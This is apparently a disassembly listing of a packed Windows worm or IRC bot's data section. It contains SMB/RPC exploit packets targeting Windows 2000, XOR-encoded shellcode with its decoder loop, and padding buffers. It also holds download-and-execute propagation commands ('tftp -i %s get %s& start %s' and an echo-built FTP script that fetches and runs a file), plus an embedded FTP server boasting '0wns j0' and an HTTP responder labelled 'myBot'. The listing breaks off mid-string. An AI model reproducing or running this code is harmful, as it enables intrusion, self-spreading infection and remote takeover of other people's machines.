534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h dd 58001800h, 0 dd 70000000h, 0 dd 70000000h, 18000000h, 70001800h, 2 dup(0) dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0) db 0 db 2 dup(0), 8Fh ; --------------------------------------------------------------------------- jno short loc_433C96 mov ecx, 484962Fh retf 0EE65h ; --------------------------------------------------------------------------- dw 0DAFBh db 0CEh ; Î db 9Eh, 0AFh, 28h db 8Eh ; Ž db 0EEh, 7Ah, 54h db 69h ; i db 85h, 28h, 57h db 0 db 4Fh, 0, 52h db 0 db 4Bh, 0, 53h db 0 dd offset loc_410053+1 dd offset dword_490054 dd offset byte_4E004F db 31h, 0, 57h aIndows20002195 db 'indows 2000 2195',0 aWindows20005_1 db 'Windows 2000 5.0',0 align 10h dword_433C90 dd 3A000000h db 0FFh, 53h ; --------------------------------------------------------------------------- loc_433C96: ; CODE XREF: .packed:00433C3Cj dec ebp inc edx jnz short $+2 ; --------------------------------------------------------------------------- dw 0 dd 20011800h, 3 dup(0) dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_433CD0 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_40DE14+130o dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0 dd 2019Fh, 3 dup(0) dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 2 dup(0) dword_433D38 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_40DE14+14Ao dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h, 0FFh, 2 dup(0) dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch dd 10030Bh, 480000h, 0 dd 16D00000h, 16D0h, 10000h, 0 dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h dd 0 dword_433DD0 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40DE14+164o ; sub_40DE14+1DAo dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh dd 11800h, 3F011800h, 0 dd 5011800h, 10010000h, 18000000h, 1, 0 dd 1, 6B001F00h, 14C658Ch, 0 dd 1000000h, 0 dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h, 0EED95951h dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h, 56EA7289h dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh, 3B450296h dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h, 9AEA7AAEh dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h, 0 dword_433F30 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40DE14+17Eo ; sub_40DE14+1F4o dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 9001F00h, 0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh, 3E23A807h dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h, 40AF5374h dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh dd 73819842h, 0ECB7A9FEh aR18zt89rmiyrru db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8' db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0 align 10h dword_434090 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40DE14+198o ; sub_40DE14+20Eo dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h dd 46377936h, 4534979h, 6F000208h, 6A695059h, 584A5559h dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah dd 44B4B50h, 49000208h, 6E5A5671h, 46C554Fh, 77000208h dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h dd 0 dd 1000000h, 0 dd 0AD91A700h, 2 dup(0) dword_4341F0 dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_40DE14+1AFo ; sub_40DE14+225o dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A00h, 2600h, 5C002340h, 45504950h, 5005Ch dd 100200h, 1C0000h, 0 dd 40000h, 0 dd 1Fh, 2 dup(0) unk_434260 db 81h ; ; DATA XREF: sub_40DE14+283o db 2 dup(0), 44h aCkfdenecfdef_1 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacaca_1 db ' CACACACACACACACACACACACACACACAAA',0 align 10h dword_4342B0 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0) ; DATA XREF: sub_40DE14+2A4o dd 2D80000h, 97230000h, 2003100h, 4D4E414Ch, 2E314E41h dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2 dup(0) dword_434310 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_40DE14+2BEo dd 2D80000h, 97230000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h dd 0 dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0 db 0 db 20h, 2 dup(0) db 0 db 0Ch, 0, 0Ch db 0 db 20h, 2 dup(0) db 0 aWorkstation1_0 db 'WORKSTATION1Windows 2000 2195',0 aWindows20005_2 db 'Windows 2000 5.0',0 dd 2 dup(0) dword_4343C8 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_40DE14+2D8o dd 2D80000h, 97230800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h dd 0 dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h dd 58001800h, 0 dd 70000000h, 0 dd 70000000h, 18000000h, 70001800h, 2 dup(0) dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0) db 0 db 2 dup(0), 0A3h db 9Eh ; ž db 5Eh, 9Bh, 4 db 57h ; W db 0E3h, 15h, 0B7h db 6Fh ; o db 44h, 0E9h, 1Eh db 49h ; I db 0FEh, 0C0h, 0BEh db 0E9h ; é db 0A6h, 0A7h, 7Fh aPmiw db 'pmiW',0 aO_0 db 'O',0 dd offset word_4B0052 db 53h db 0 dd offset loc_410053+1 dd offset dword_490054 dd offset byte_4E004F db 31h, 0, 57h aIndows200021_0 db 'indows 2000 2195',0 aWindows20005_3 db 'Windows 2000 5.0',0 align 10h dword_4344C0 dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0) ; DATA XREF: sub_40DE14+2EFo dd 2D80000h, 97230000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0) db 0 db 2 dup(0), 40h db 0 db 2 dup(0), 25h db 0 db 2 dup(0), 57h aIndows200021_1 db 'indows 2000 2195',0 aWindows20005_4 db 'Windows 2000 5.0',0 align 4 dword_434528 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_40DE14+306o dd 2D80000h, 97230801h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_434568 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_40DE14+31Do dd 2D80800h, 97230801h, 0FF18h, 80000h, 16h, 0 dd 2019Fh, 3 dup(0) dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 2 dup(0) dword_4345D0 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_40DE14+337o dd 2D80800h, 97230801h, 48000010h, 0E0040000h, 0FFh, 2 dup(0) dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch dd 10030Bh, 480000h, 0 dd 16D00000h, 16D0h, 10000h, 0 dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h dd 0 dword_434668 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40DE14+351o ; sub_40DE14+3E0o dd 2D80800h, 97230801h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh dd 11800h, 3F011800h, 0 dd 5011800h, 10010000h, 18000000h, 1, 0 dd 1, 0F2001F00h, 1F2207Ch, 0 dd 1000000h, 0 dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh, 274F9848h dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh, 4696FC4Fh dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh, 0 dword_4347C8 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40DE14+36Bo ; sub_40DE14+3FAo dd 2D80800h, 97230801h, 0FF0Eh, 18400000h, 0FF000001h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah, 49484B97h dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh, 984137F8h dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h, 4191D6h dd 0 dword_434928 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40DE14+385o ; sub_40DE14+414o dd 2D80800h, 97230801h, 0FF0Eh, 30400000h, 0FF000002h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 0FD001F00h, 424ED627h, 9897414Ah, 4B424240h, 0F5F9FD3Fh dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h, 49434A3Fh dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h dd 82B25B78h, 8F61B8Fh, 11C1951Ch, 8AE4178h, 3D055718h dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h dd 0 dword_434A88 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40DE14+39Fo ; sub_40DE14+42Eo dd 2D80800h, 97230801h, 0FF0Eh, 48400000h, 0FF000003h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh, 61E84D95h dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh, 80D1C80Ch dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h, 4B7033B1h dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh, 0DF714D3Dh dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch, 617623h dd 0 dword_434BE8 dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_40DE14+3B9o ; sub_40DE14+448o dd 2D80800h, 97230801h, 80000010h, 0E0040000h, 0FFh, 2 dup(0) dd 80004A00h, 2004A00h, 2600h, 5C008740h, 45504950h, 5005Ch dd 100200h, 800000h, 0 dd 680000h, 0 dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2 dd 0BE895Bh, 20000h, 0 dd 20000h, 2EB0000h, 760000h, 2 dup(0) dword_434CB8 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_434D04 dd 3000005h, 10h, 830h, 0 dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0 dd 1, 2 dup(0) dword_434D34 dd 0FAh, 2, 0 dd 2, 0 dd 0FAh, 3 dup(0) dword_434D58 dd 0D959516Ah, 2474D9EEh db 0F4h, 5Bh ; --------------------------------------------------------------------------- loc_434D62: ; CODE XREF: .packed:00434D6Cj xor dword ptr [ebx+13h], 889097A8h sub ebx, 0FFFFFFFCh loop loc_434D62 sub [ebx+6Fh], edx db 67h push edi push 7CC274D4h frstor byte ptr [eax+51h] push 1CC8776Fh cld lodsb mov word ptr ds:95EB23B4h[edx*8], ds ; --------------------------------------------------------------------------- db 0F0h, 0A9h, 78h dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h, 4C994BF1h dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh, 4757DDC1h dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h, 4157DFD9h dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h, 68CC4C13h dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E31A+96o aBindingToRpcIn db '[+] Binding to RPC interface ... ',0Ah,0 ; DATA XREF: sub_40E453+1D8o align 4 aFailedToConnec db '[-] Failed to connect to host !',0Ah,0 ; DATA XREF: sub_40E453+18Eo align 10h dword_434F10 dd 163h, 0 dword_434F18 dd 20804h, 0 dword_434F20 dd 2080Ah, 0 dword_434F28 dd 200F1001h, 0Ah, 1001802h, 0dword_434F38 dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 10h aCmdKEchoOpen_0 db 'cmd /k echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E71F+92o ; sub_418C7F+90o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 aSystemrootSyst db '%systemroot%\system32\cmd.exe',0 ; DATA XREF: .packed:0040EB69o ; .packed:0040EB7Cr align 4 aExit db 'exit',0 align 4 word_4361DC dw 1 ; DATA XREF: sub_40E8C5+24r ; .packed:0040EA19r align 10h word_4361E0 dw 4 ; DATA XREF: sub_40E8C5+10r align 4 aTftpISGetSStar db 'tftp -i %s get %s& start %s& exit',0 ; DATA XREF: .packed:0040EBF6o align 4 aC db '%c',0 ; DATA XREF: .packed:0040EB84o ; .packed:0040EC22o align 4 dword_43620C dd 0DFFh dword_436210 dd 0EBFFh dword_436214 dd 201h dword_436218 dd 20424652h, 2E333030h, 0A383030h, 0dword_436228 dd 2E646D63h, 657865h ; sub_41A413+21o aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o' ; DATA XREF: sub_40EF9D+23Eo db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40F23F+5CAo a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_40F23F+5A9o align 10h aFtpIJustOwnedS db '[FTP]: I just owned: %s',0 ; DATA XREF: sub_40F23F+558o a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40F23F+546o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_40F23F+4EBo align 4 aRetr db 'RETR',0 ; DATA XREF: sub_40F23F+4D3o align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40F23F+4C3o align 4 aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_40F23F+4B2o aXX db '%x%x',0Ah,0 ; DATA XREF: sub_40F23F+47Fo align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40F23F+43Bo db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_40F23F+402o align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F23F+3D4o align 10h aList_0 db 'LIST',0 ; DATA XREF: sub_40F23F+3C1o align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_40F23F+386o align 4 aPasv db 'PASV',0 ; DATA XREF: sub_40F23F+373o align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F23F+363o aI_0: ; DATA XREF: sub_40F23F+34Fo ; .packed:0043A940o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F23F+328o aA_0: ; DATA XREF: sub_40F23F+314o ; .packed:0043A94Co unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_40F23F+2FDo ; sub_40F23F+338o align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F23F+2EDo align 4 off_436454 dd offset dword_445750 ; DATA XREF: sub_40F23F+2D9o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F23F+2C9o align 4 aRest db 'REST',0 ; DATA XREF: sub_40F23F+2B5o align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F23F+2A5o align 4 aSyst db 'SYST',0 ; DATA XREF: sub_40F23F+291o align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F23F+281o align 4 aPass db 'PASS',0 ; DATA XREF: sub_40F23F+26Do align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40F23F+25Do align 4 aUser_1 db 'USER',0 ; DATA XREF: sub_40F23F+248o align 4 aSS_0 db '%s %s',0 ; DATA XREF: sub_40F23F+237o align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F23F+1B9o align 4 unk_4364EC db 2Dh ; - ; DATA XREF: sub_40F956+3D3o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_436514 db 0Dh,0Ah,0 ; DATA XREF: sub_40F956+2BEo ; sub_41ACA2+F2o align 4 aGet_0 db 'GET ',0 ; DATA XREF: sub_40F956+258o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FD8C+F0o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 